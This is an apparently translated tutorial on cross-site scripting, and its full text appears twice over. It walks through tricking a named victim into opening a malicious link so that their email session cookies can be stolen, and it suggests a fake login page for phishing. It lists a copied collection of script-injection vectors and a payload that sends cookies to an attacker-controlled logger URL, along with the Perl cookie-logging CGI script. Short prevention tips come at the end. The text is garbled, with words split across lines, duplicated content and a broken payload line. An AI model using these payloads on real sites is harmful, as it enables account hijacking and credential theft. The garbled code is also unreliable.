I have read an article by analysts before introducing the security risks of cross-site scripting. At that time, I just knew that there was such a thing.
I haven't read the problem carefully. At present, such problems are often published on some secure sites. I happened to see such an article.
，
Holding the idea that knowing is better than not knowing, I translated and sorted it out. The original text is in the collection directory of my homepage, error
Please
More advice.
OK，go............
What is cross-site scripting (CSS/XSS)?
What we mean by cross-site scripts refer to malicious data inserted into the html code of a remote WEB page, which the user believes is that
The page is trustworthy, but when the browser downloads the page, the script embedded in it will be interpreted and executed,
Sometimes cross-site scripts are called "XSS", because "CSS" is generally called hierarchical style sheets, which is easy to confuse.
if
You hear someone mention CSS or XSS security vulnerabilities, which usually refer to cross-site scripting.
What is the difference between XSS and script injection?
In the original text, the author discussed with him a friend (b0iler) before he realized that not any script insertion can be used to implement attacks.
Vulnerabilities are called XSS, and there is another way to attack: "Script Injection". Their differences are as follows:
1. (Script Injection) Script Insert attack will save the script we inserted in on the modified remote WEB page, such as
:sql injection,XPath injection.
2. Cross-site scripts are temporary and disappear after execution
What type of script can be inserted into a remote page?
Mainstream scripts include the following:
HTML
JavaScript (discussed in this article)
VBScript
ActiveX
Flash
What causes an XSS security vulnerability to a site?
Many cgi/php scripts are executed when they find that the request page submitted by the client does not exist or other types of errors,
The error message will be printed to an html file and the error page will be sent to the visitor.
For example: 404 - Not Found!
We generally don’t pay attention to such information, but now we need to study the causes of CSS vulnerabilities, so let’s take a closer look.
Example: /cgi-bin/?page=
The connection pointed to by the URL is valid, but if we replace the following with brainrawt_owns_
, A page containing 404 - brainrawt_owns_me.html Not Found! information will be fed back to visitors’ browsing
utensil.
Think about how it writes our input into the html file?
OK, now is the time for us to check for XSS vulnerabilities!
Note: The following is just an example. There is an XSS vulnerability on this page. We can insert a javascript code to the page.
inside. Of course there are many ways
/cgi-bin/?page=<script>alert('XSS_Vuln_Testing')</sc
ript>
When we submit this URL, a message box pops up in our browser, "XSS_Vuln_Testing"?
This example is just a simple demonstration of an XSS vulnerability and has no practical significance, but it is enough to illustrate the problem.
Let’s analyze the reasons for this operation result. Our input has not been effectively filtered.
，
It is written directly into the 404 error page, and a page is created as follows:
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
The javascript script is executed through the browser and then the result you see appears.
How to use XSS to complete hacking?
As mentioned earlier, if the request submitted by the user cannot be satisfied, the server-side script will write the input information to
one
When the server-side program does not effectively filter the data written to the html file, malicious scripts can be inserted.
arrive
In this html file. When other users browse the connection, the script will be interpreted and executed through the client browser.
Example:
Suppose you find a CSS vulnerability and you want to get one of the people's email account, such as ours
The target is b00b.
/cgi-bin/?article=59035
Modify the connection with CSS vulnerability above:
/cgi-bin/?article=hax0red
This creates an error page and we get the following information:
Invalid Input! [article=hax0red]
When inserting the following javascript code, a message box containing the test will pop up on your screen.
/cgi-bin/?article=<script>alert('test')<
/script>
<script> is not printed on the screen, it is hidden behind the execution, because the server-side program does not work.
<script>alert('test')</script> performs effective filtering, so the page is sent back to the browser and the script is executed.
。
Let’s take a look at how to use this vulnerability to invade Comrade b00b’s email address. First of all, you must know the email address of b00b.
And know the role of cookies. Then you can tell b00b a malicious connection, hehe, of course
Its purpose is to get what you want from the cookie information in the b00b machine.
Find a way to get b00b to access the article published on the site, such as: "Dear b00b, look at this beauty.
female
How about it? ”
Then when the poor b00b access /cgi-bin/?article=<script> steal
And save the cookie script
</script>
What happens when connecting? You should know what to do if you have cookies!
If this is not the case at the moment, you can copy the login page of the email server and hang it on another system.
Then guide the user to log in to your malicious system page.
In this way, you can record the user information and then send the recorded information back to the real email server page.
Those idiots don't realize what's actually going on.
Different ways to insert javascript scripts into WEB pages:
<snip>
Copy from: GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object class codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml ><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>
An example of a real cookie and record it:
Note: To make it work, your browser must allow accepting cookies sent by the site,
When I test the following information, use
JavaScript creates the visitor's cookies, and the javascript script is placed in the file.
OK, the following assumes that there is a security risk of XSS attack, and the vulnerable connection is:
/?input=<evil javascript>
We create such a connection:
/?input=<script>='http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?'+</script>
Then let the user who saves the cookies on the site access this connection:
This is our CGI script, which is used to record user cookies:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html/n/n something went wrong/n";
print EVIL_COOKIE_LOG "$borrowed_info/n";
print "Content-type: text/html/n/n";
close(EVIL_COOKIE_LOG);
------------------------------------------
The script first obtains the cookie through $ENV{'QUERY_STRING'} and prints it into the $borrowed_info variable,
Save cookie information to evil_cookie_lo
g file.
Note: The above javascript script may not be executed on some browsers or sites.
This is just for testing on my own site.
How to prevent XSS attacks?
1. Disable javascript scripts on your WEB browser
2..Developers should carefully review the code and conduct effective checks on the submitted input data, such as "<" and ">".
You can convert "<", ">" to <,>
Note: Due to the diversity of XSS vulnerabilities that can be exploited, programmers must understand the specific characters that need to be filtered.
This mainly depends on the role of the developed program, and it is recommended to filter out all metacharacters, including "=".
For victims, do not access connections containing <script> characters, and some official URLs do not include any script elements.
I haven't read the problem carefully. At present, such problems are often published on some secure sites. I happened to see such an article.
，
Holding the idea that knowing is better than not knowing, I translated and sorted it out. The original text is in the collection directory of my homepage, error
Please
More advice.
OK，go............
What is cross-site scripting (CSS/XSS)?
What we mean by cross-site scripts refer to malicious data inserted into the html code of a remote WEB page, which the user believes is that
The page is trustworthy, but when the browser downloads the page, the script embedded in it will be interpreted and executed,
Sometimes cross-site scripts are called "XSS", because "CSS" is generally called hierarchical style sheets, which is easy to confuse.
if
You hear someone mention CSS or XSS security vulnerabilities, which usually refer to cross-site scripting.
What is the difference between XSS and script injection?
In the original text, the author discussed with him a friend (b0iler) before he realized that not any script insertion can be used to implement attacks.
Vulnerabilities are called XSS, and there is another way to attack: "Script Injection". Their differences are as follows:
1. (Script Injection) Script Insert attack will save the script we inserted in on the modified remote WEB page, such as
:sql injection,XPath injection.
2. Cross-site scripts are temporary and disappear after execution
What type of script can be inserted into a remote page?
Mainstream scripts include the following:
HTML
JavaScript (discussed in this article)
VBScript
ActiveX
Flash
What causes an XSS security vulnerability to a site?
Many cgi/php scripts are executed when they find that the request page submitted by the client does not exist or other types of errors,
The error message will be printed to an html file and the error page will be sent to the visitor.
For example: 404 - Not Found!
We generally don’t pay attention to such information, but now we need to study the causes of CSS vulnerabilities, so let’s take a closer look.
Example: /cgi-bin/?page=
The connection pointed to by the URL is valid, but if we replace the following with brainrawt_owns_
, A page containing 404 - brainrawt_owns_me.html Not Found! information will be fed back to visitors’ browsing
utensil.
Think about how it writes our input into the html file?
OK, now is the time for us to check for XSS vulnerabilities!
Note: The following is just an example. There is an XSS vulnerability on this page. We can insert a javascript code to the page.
inside. Of course there are many ways
/cgi-bin/?page=<script>alert('XSS_Vuln_Testing')</sc
ript>
When we submit this URL, a message box pops up in our browser, "XSS_Vuln_Testing"?
This example is just a simple demonstration of an XSS vulnerability and has no practical significance, but it is enough to illustrate the problem.
Let’s analyze the reasons for this operation result. Our input has not been effectively filtered.
，
It is written directly into the 404 error page, and a page is created as follows:
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
The javascript script is executed through the browser and then the result you see appears.
How to use XSS to complete hacking?
As mentioned earlier, if the request submitted by the user cannot be satisfied, the server-side script will write the input information to
one
When the server-side program does not effectively filter the data written to the html file, malicious scripts can be inserted.
arrive
In this html file. When other users browse the connection, the script will be interpreted and executed through the client browser.
Example:
Suppose you find a CSS vulnerability and you want to get one of the people's email account, such as ours
The target is b00b.
/cgi-bin/?article=59035
Modify the connection with CSS vulnerability above:
/cgi-bin/?article=hax0red
This creates an error page and we get the following information:
Invalid Input! [article=hax0red]
When inserting the following javascript code, a message box containing the test will pop up on your screen.
/cgi-bin/?article=<script>alert('test')<
/script>
<script> is not printed on the screen, it is hidden behind the execution, because the server-side program does not work.
<script>alert('test')</script> performs effective filtering, so the page is sent back to the browser and the script is executed.
。
Let’s take a look at how to use this vulnerability to invade Comrade b00b’s email address. First of all, you must know the email address of b00b.
And know the role of cookies. Then you can tell b00b a malicious connection, hehe, of course
Its purpose is to get what you want from the cookie information in the b00b machine.
Find a way to get b00b to access the article published on the site, such as: "Dear b00b, look at this beauty.
female
How about it? ”
Then when the poor b00b access /cgi-bin/?article=<script> steal
And save the cookie script
</script>
What happens when connecting? You should know what to do if you have cookies!
If this is not the case at the moment, you can copy the login page of the email server and hang it on another system.
Then guide the user to log in to your malicious system page.
In this way, you can record the user information and then send the recorded information back to the real email server page.
Those idiots don't realize what's actually going on.
Different ways to insert javascript scripts into WEB pages:
<snip>
Copy from: GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object class codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml ><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>
An example of a real cookie and record it:
Note: To make it work, your browser must allow accepting cookies sent by the site,
When I test the following information, use
JavaScript creates the visitor's cookies, and the javascript script is placed in the file.
OK, the following assumes that there is a security risk of XSS attack, and the vulnerable connection is:
/?input=<evil javascript>
We create such a connection:
/?input=<script>='http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?'+</script>
Then let the user who saves the cookies on the site access this connection:
This is our CGI script, which is used to record user cookies:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html/n/n something went wrong/n";
print EVIL_COOKIE_LOG "$borrowed_info/n";
print "Content-type: text/html/n/n";
close(EVIL_COOKIE_LOG);
------------------------------------------
The script first obtains the cookie through $ENV{'QUERY_STRING'} and prints it into the $borrowed_info variable,
Save cookie information to evil_cookie_lo
g file.
Note: The above javascript script may not be executed on some browsers or sites.
This is just for testing on my own site.
How to prevent XSS attacks?
1. Disable javascript scripts on your WEB browser
2..Developers should carefully review the code and conduct effective checks on the submitted input data, such as "<" and ">".
You can convert "<", ">" to <,>
Note: Due to the diversity of XSS vulnerabilities that can be exploited, programmers must understand the specific characters that need to be filtered.
This mainly depends on the role of the developed program, and it is recommended to filter out all metacharacters, including "=".
For victims, do not access connections containing <script> characters, and some official URLs do not include any script elements.